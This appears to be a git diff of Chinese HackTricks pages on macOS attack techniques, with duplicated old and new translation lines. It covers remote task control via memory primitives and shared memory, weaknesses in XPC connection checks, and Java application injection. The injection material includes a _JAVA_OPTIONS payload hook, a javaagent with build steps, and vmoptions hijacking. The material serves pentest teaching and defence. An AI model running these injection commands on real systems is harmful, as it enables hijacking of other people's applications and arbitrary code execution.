### 识别合适的函数
|
||||
|
||||
对常见库的扫描显示了这些操作的适当候选项:
|
||||
对常见库的扫描揭示了这些操作的合适候选者:
|
||||
|
||||
1. **读取内存:**
|
||||
从[Objective-C运行时库](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html)中的`property_getName()`函数被确定为适合读取内存的函数。以下是该函数的概述:
|
||||
`property_getName()` 函数来自 [Objective-C 运行时库](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html),被识别为读取内存的合适函数。该函数如下所述:
|
||||
```c
|
||||
const char *property_getName(objc_property_t prop) {
|
||||
return prop->name;
|
||||
}
|
||||
```
|
||||
这个函数实际上像`read_func`一样运作,通过返回`objc_property_t`的第一个字段。
|
||||
这个函数有效地充当了 `read_func` 的角色,通过返回 `objc_property_t` 的第一个字段。
|
||||
|
||||
2. **写入内存:**
|
||||
查找用于写入内存的预构建函数更具挑战性。然而,来自libxpc的`_xpc_int64_set_value()`函数是一个合适的候选项,具有以下反汇编内容:
|
||||
找到一个预构建的写入内存的函数更具挑战性。然而,来自 libxpc 的 `_xpc_int64_set_value()` 函数是一个合适的候选者,具有以下反汇编:
|
||||
```c
|
||||
__xpc_int64_set_value:
|
||||
str x1, [x0, #0x18]
|
||||
ret
|
||||
```
|
||||
要在特定地址执行64位写操作,远程调用的结构如下:
|
||||
要在特定地址执行64位写入,远程调用的结构为:
|
||||
```c
|
||||
_xpc_int64_set_value(address - 0x18, value)
|
||||
```
|
||||
随着这些原语的建立,创建共享内存的阶段已经设定,这标志着对远程进程控制的重大进展。
|
||||
|
||||
## 4. 共享内存设置
|
||||
|
||||
既然这些基本操作已经建立,现在可以着手创建共享内存,这标志着在控制远程进程方面取得了重要进展。
|
||||
目标是在本地和远程任务之间建立共享内存,简化数据传输并促进带有多个参数的函数调用。该方法涉及利用 `libxpc` 及其基于 Mach 内存条目的 `OS_xpc_shmem` 对象类型。
|
||||
|
||||
### 进程概述:
|
||||
### 过程概述:
|
||||
|
||||
1. **内存分配**:
|
||||
- 使用 `mach_vm_allocate()` 分配共享内存。
|
||||
- 使用 `xpc_shmem_create()` 创建一个用于分配内存区域的 `OS_xpc_shmem` 对象。该函数将管理 Mach 内存条目的创建,并将 Mach 发送权限存储在 `OS_xpc_shmem` 对象的偏移量 `0x18` 处。
|
||||
- 使用 `xpc_shmem_create()` 为分配的内存区域创建 `OS_xpc_shmem` 对象。此函数将管理 Mach 内存条目的创建,并在 `OS_xpc_shmem` 对象的偏移量 `0x18` 存储 Mach 发送权限。
|
||||
|
||||
2. **在远程进程中创建共享内存**:
|
||||
- 使用远程调用 `malloc()` 为远程进程中的 `OS_xpc_shmem` 对象分配内存。
|
||||
- 将本地 `OS_xpc_shmem` 对象的内容复制到远程进程。然而,这一初始复制将在偏移量 `0x18` 处具有不正确的 Mach 内存条目名称。
|
||||
- 通过对 `malloc()` 的远程调用,在远程进程中为 `OS_xpc_shmem` 对象分配内存。
|
||||
- 将本地 `OS_xpc_shmem` 对象的内容复制到远程进程。然而,这个初始复制在偏移量 `0x18` 处将具有不正确的 Mach 内存条目名称。
|
||||
|
||||
3. **纠正 Mach 内存条目**:
|
||||
3. **修正 Mach 内存条目**:
|
||||
- 利用 `thread_set_special_port()` 方法将 Mach 内存条目的发送权限插入到远程任务中。
|
||||
- 通过用远程内存条目的名称覆盖它来纠正偏移量 `0x18` 处的 Mach 内存条目字段。
|
||||
- 通过用远程内存条目的名称覆盖偏移量 `0x18` 处的 Mach 内存条目字段来修正它。
|
||||
|
||||
4. **完成共享内存设置**:
|
||||
- 验证远程 `OS_xpc_shmem` 对象。
|
||||
- 通过远程调用 `xpc_shmem_remote()` 建立共享内存映射。
|
||||
- 通过对 `xpc_shmem_remote()` 的远程调用建立共享内存映射。
|
||||
|
||||
通过按照这些步骤操作,本地和远程任务之间的共享内存将被高效地建立,从而实现简单的数据传输和执行需要多个参数的函数。
|
||||
通过遵循这些步骤,本地和远程任务之间的共享内存将有效设置,允许简单的数据传输和执行需要多个参数的函数。
|
||||
|
||||
## 附加代码片段
|
||||
## 其他代码片段
|
||||
|
||||
用于内存分配和共享内存对象创建:
|
||||
```c
|
||||
mach_vm_allocate();
|
||||
xpc_shmem_create();
|
||||
```
|
||||
用于在远程进程中创建和校正共享内存对象:
|
||||
为了在远程进程中创建和修正共享内存对象:
|
||||
```c
|
||||
malloc(); // for allocating memory remotely
|
||||
thread_set_special_port(); // for inserting send right
|
||||
```
|
||||
记得正确处理Mach端口和内存条目名称的细节,以确保共享内存设置正常工作。
|
||||
|
||||
## 5. 实现完全控制
|
||||
|
||||
成功建立共享内存并获得任意执行能力后,我们基本上已经获得了对目标进程的完全控制。实现这种控制的关键功能包括:
|
||||
在成功建立共享内存并获得任意执行能力后,我们基本上获得了对目标进程的完全控制。实现这种控制的关键功能包括:
|
||||
|
||||
1. **任意内存操作**:
|
||||
- 通过调用 `memcpy()` 从共享区域复制数据来执行任意内存读取。
|
||||
- 使用 `memcpy()` 将数据传输到共享区域以执行任意内存写入。
|
||||
- 通过调用`memcpy()`从共享区域复制数据,执行任意内存读取。
|
||||
- 通过使用`memcpy()`将数据传输到共享区域,执行任意内存写入。
|
||||
|
||||
2. **处理具有多个参数的函数调用**:
|
||||
- 对于需要超过 8 个参数的函数,在栈上按照调用约定安排额外的参数。
|
||||
2. **处理多个参数的函数调用**:
|
||||
- 对于需要超过8个参数的函数,按照调用约定将额外参数安排在栈上。
|
||||
|
||||
3. **Mach 端口传输**:
|
||||
- 通过先前建立的端口,通过 Mach 消息在任务之间传输 Mach 端口。
|
||||
3. **Mach端口传输**:
|
||||
- 通过先前建立的端口,通过Mach消息在任务之间传输Mach端口。
|
||||
|
||||
4. **文件描述符传输**:
|
||||
- 使用文件端口在进程之间传输文件描述符,这是 Ian Beer 在 `triple_fetch` 中强调的一种技术。
|
||||
- 使用fileports在进程之间传输文件描述符,这一技术由Ian Beer在`triple_fetch`中强调。
|
||||
|
||||
这种全面的控制被封装在[threadexec](https://github.com/bazad/threadexec)库中,提供了详细的实现和用户友好的 API,用于与受害进程进行交互。
|
||||
这种全面控制被封装在[threadexec](https://github.com/bazad/threadexec)库中,提供了详细的实现和用户友好的API,以便与受害进程进行交互。
|
||||
|
||||
## 重要注意事项:
|
||||
## 重要考虑事项:
|
||||
|
||||
- 确保正确使用 `memcpy()` 进行内存读/写操作,以保持系统稳定性和数据完整性。
|
||||
- 在传输 Mach 端口或文件描述符时,遵循适当的协议并负责处理资源,以防止泄漏或意外访问。
|
||||
- 确保正确使用`memcpy()`进行内存读/写操作,以维护系统稳定性和数据完整性。
|
||||
- 在传输Mach端口或文件描述符时,遵循适当的协议并负责任地处理资源,以防止泄漏或意外访问。
|
||||
|
||||
通过遵循这些准则并利用 `threadexec` 库,可以高效地管理和与进程进行精细级别的交互,实现对目标进程的完全控制。
|
||||
通过遵循这些指南并利用`threadexec`库,可以有效地管理和与进程进行细粒度交互,实现对目标进程的完全控制。
|
||||
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上**关注我。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,38 +1,39 @@
|
|||
# macOS XPC 连接进程检查
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习 AWS 黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## XPC 连接进程检查
|
||||
|
||||
当与 XPC 服务建立连接时,服务器将检查是否允许连接。通常会执行以下检查:
|
||||
当与 XPC 服务建立连接时,服务器将检查该连接是否被允许。通常会执行以下检查:
|
||||
|
||||
1. 检查连接的**进程是否由苹果签名**的证书签名(只由苹果发放)。
|
||||
* 如果这个**未经验证**,攻击者可以创建一个**假证书**来匹配任何其他检查。
|
||||
2. 检查连接的进程是否由**组织的证书**签名(团队 ID 验证)。
|
||||
* 如果这个**未经验证**,**任何苹果的开发者证书**都可以用来签名,并连接到服务。
|
||||
3. 检查连接的进程**是否包含正确的捆绑 ID**。
|
||||
* 如果这个**未经验证**,任何**由同一组织签名**的工具都可以用来与 XPC 服务交互。
|
||||
4. (4 或 5) 检查连接的进程是否有一个**正确的软件版本号**。
|
||||
* 如果这个**未经验证**,旧的、不安全的客户端,容易受到进程注入攻击的客户端,即使其他检查到位,也可以用来连接到 XPC 服务。
|
||||
5. (4 或 5) 检查连接的进程是否启用了硬化运行时,没有危险的权限(比如允许加载任意库或使用 DYLD 环境变量的权限)
|
||||
* 如果这个**未经验证**,客户端可能**容易受到代码注入攻击**
|
||||
6. 检查连接的进程是否有一个**权限**,允许它连接到服务。这适用于苹果的二进制文件。
|
||||
7. **验证**必须**基于**连接**客户端的审计令牌**,**而不是**它的进程 ID (**PID**),因为前者可以防止**PID 重用攻击**。
|
||||
* 开发者**很少使用审计令牌** API 调用,因为它是**私有的**,所以苹果可以随时**更改**。此外,Mac App Store 应用不允许使用私有 API。
|
||||
* 如果使用了方法 **`processIdentifier`**,它可能会受到攻击
|
||||
* 应该使用 **`xpc_dictionary_get_audit_token`** 而不是 **`xpc_connection_get_audit_token`**,因为后者在某些情况下也可能[受到攻击](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。
|
||||
1. 检查连接的 **进程是否使用 Apple 签名** 的证书(仅由 Apple 发放)。
|
||||
* 如果 **未验证**,攻击者可以创建一个 **伪造证书** 来匹配其他检查。
|
||||
2. 检查连接进程是否使用 **组织的证书**(团队 ID 验证)。
|
||||
* 如果 **未验证**,可以使用 **任何开发者证书** 从 Apple 进行签名,并连接到服务。
|
||||
3. 检查连接进程 **是否包含正确的包 ID**。
|
||||
* 如果 **未验证**,任何 **由同一组织签名的工具** 都可以用来与 XPC 服务交互。
|
||||
4. (4 或 5) 检查连接进程是否具有 **正确的软件版本号**。
|
||||
* 如果 **未验证**,旧的、不安全的客户端,易受进程注入攻击,可以连接到 XPC 服务,即使其他检查已到位。
|
||||
5. (4 或 5) 检查连接进程是否具有没有危险权限的 **强化运行时**(如允许加载任意库或使用 DYLD 环境变量的权限)。
|
||||
* 如果 **未验证**,客户端可能 **易受代码注入**。
|
||||
6. 检查连接进程是否具有允许其连接到服务的 **权限**。这适用于 Apple 二进制文件。
|
||||
7. **验证** 必须 **基于** 连接 **客户端的审计令牌** **而不是** 其进程 ID (**PID**),因为前者可以防止 **PID 重用攻击**。
|
||||
* 开发者 **很少使用审计令牌** API 调用,因为它是 **私有的**,所以 Apple 可能会 **随时更改**。此外,Mac App Store 应用不允许使用私有 API。
|
||||
* 如果使用 **`processIdentifier`** 方法,可能会存在漏洞。
|
||||
* 应使用 **`xpc_dictionary_get_audit_token`** 而不是 **`xpc_connection_get_audit_token`**,因为后者在某些情况下也可能 [存在漏洞](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。
|
||||
|
||||
### 通信攻击
|
||||
|
||||
|
@ -48,13 +49,13 @@
|
|||
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Trustcache - 防止降级攻击
|
||||
### Trustcache - 降级攻击防范
|
||||
|
||||
Trustcache 是在苹果硅芯片机器中引入的一种防御方法,它存储了苹果二进制文件的 CDHSAH 数据库,因此只允许执行未修改的允许的二进制文件。这可以防止执行降级版本。
|
||||
Trustcache 是一种防御方法,旨在 Apple Silicon 机器中引入,存储 Apple 二进制文件的 CDHSAH 数据库,以便仅允许未修改的二进制文件执行。这可以防止降级版本的执行。
|
||||
|
||||
### 代码示例
|
||||
|
||||
服务器将在一个名为 **`shouldAcceptNewConnection`** 的函数中实现这个**验证**。
|
||||
服务器将在名为 **`shouldAcceptNewConnection`** 的函数中实现此 **验证**。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -65,9 +66,9 @@ return YES;
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
对象 NSXPCConnection 有一个**私有**属性 **`auditToken`**(应该使用的,但可能会变化)和一个**公共**属性 **`processIdentifier`**(不应该使用的)。
|
||||
对象 NSXPCConnection 有一个 **私有** 属性 **`auditToken`**(应该使用但可能会改变)和一个 **公共** 属性 **`processIdentifier`**(不应该使用)。
|
||||
|
||||
连接进程可以通过类似以下方式进行验证:
|
||||
连接的进程可以通过以下方式进行验证:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -108,16 +109,19 @@ if ((csFlags & (cs_hard | cs_require_lv)) {
|
|||
return Yes; // Accept connection
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击直至成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Java 应用程序注入
|
||||
# macOS Java Applications Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 枚举
|
||||
## Enumeration
|
||||
|
||||
查找安装在您系统中的 Java 应用程序。注意到在 **Info.plist** 中的 Java 应用程序将包含一些包含字符串 **`java.`** 的 Java 参数,因此您可以搜索该字符串:
|
||||
查找安装在系统中的Java应用程序。注意到**Info.plist**中的Java应用程序将包含一些包含字符串**`java.`**的java参数,因此您可以搜索该字符串:
|
||||
```bash
|
||||
# Search only in /Applications folder
|
||||
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||||
|
@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
|||
```
|
||||
## \_JAVA\_OPTIONS
|
||||
|
||||
环境变量 **`_JAVA_OPTIONS`** 可以用于在执行已编译的 Java 应用程序时注入任意的 Java 参数:
|
||||
环境变量 **`_JAVA_OPTIONS`** 可用于在执行编译的 Java 应用程序时注入任意 Java 参数:
|
||||
```bash
|
||||
# Write your payload in a script called /tmp/payload.sh
|
||||
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
```
|
||||
要将其作为一个新进程而不是当前终端的子进程来执行,您可以使用:
|
||||
要将其作为新进程而不是当前终端的子进程执行,可以使用:
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
|
||||
|
@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
然而,这将在执行的应用程序上触发错误,另一种更隐蔽的方法是创建一个Java代理并使用:
|
||||
然而,这会在执行的应用程序上触发错误,另一种更隐蔽的方法是创建一个 Java 代理并使用:
|
||||
```bash
|
||||
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
|
@ -95,10 +96,12 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
|||
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
使用与应用程序**不同的Java版本**创建代理可能会导致代理和应用程序的执行崩溃
|
||||
使用与应用程序**不同的 Java 版本**创建代理可能会导致代理和应用程序的执行崩溃
|
||||
{% endhint %}
|
||||
|
||||
代理可以是:
|
||||
|
||||
{% code title="Agent.java" %}
|
||||
```java
|
||||
import java.io.*;
|
||||
import java.lang.instrument.*;
|
||||
|
@ -117,7 +120,7 @@ err.printStackTrace();
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
编译代理程序的方法如下:
|
||||
要编译代理,请运行:
|
||||
```bash
|
||||
javac Agent.java # Create Agent.class
|
||||
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
|
||||
|
@ -129,7 +132,7 @@ Agent-Class: Agent
|
|||
Can-Redefine-Classes: true
|
||||
Can-Retransform-Classes: true
|
||||
```
|
||||
然后导出环境变量并运行Java应用程序,如下所示:
|
||||
然后导出环境变量并运行 Java 应用程序,如:
|
||||
```bash
|
||||
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
|
@ -138,14 +141,14 @@ export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
|||
|
||||
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||||
```
|
||||
## vmoptions文件
|
||||
## vmoptions 文件
|
||||
|
||||
该文件支持在执行Java时指定**Java参数**。您可以使用之前的一些技巧来更改Java参数并**使进程执行任意命令**。\
|
||||
此外,该文件还可以通过`include`指令**包含其他文件**,因此您也可以更改一个被包含的文件。
|
||||
此文件支持在执行 Java 时指定 **Java 参数**。您可以使用之前的一些技巧来更改 Java 参数并 **使进程执行任意命令**。\
|
||||
此外,此文件还可以使用 `include` 目录 **包含其他文件**,因此您也可以更改包含的文件。
|
||||
|
||||
更有甚者,一些Java应用程序会**加载多个`vmoptions`**文件。
|
||||
更重要的是,一些 Java 应用程序会 **加载多个 `vmoptions`** 文件。
|
||||
|
||||
一些应用程序,如Android Studio,在其**输出中指示它们正在查找**这些文件的位置,例如:
|
||||
一些应用程序,如 Android Studio,会在其 **输出中指示它们正在查找** 这些文件的位置,例如:
|
||||
```bash
|
||||
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
|
||||
|
||||
|
@ -156,7 +159,7 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession
|
|||
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||
```
|
||||
如果他们没有,您可以轻松检查它:
|
||||
如果他们没有,你可以轻松检查:
|
||||
```bash
|
||||
# Monitor
|
||||
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
||||
|
@ -164,4 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
|||
# Launch the Java app
|
||||
/Applications/Android\ Studio.app/Contents/MacOS/studio
|
||||
```
|
||||
注意这个例子中有趣的地方是,Android Studio 正试图加载文件 **`/Applications/Android Studio.app.vmoptions`**,这是任何来自 **`admin` 组的用户都具有写入权限的地方。**
|
||||
注意,在这个例子中,Android Studio 正在尝试加载文件 **`/Applications/Android Studio.app.vmoptions`**,这是任何来自 **`admin` 组的用户都有写入权限** 的地方。
|
||||
|
|
|
@ -1,23 +1,23 @@
|
|||
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
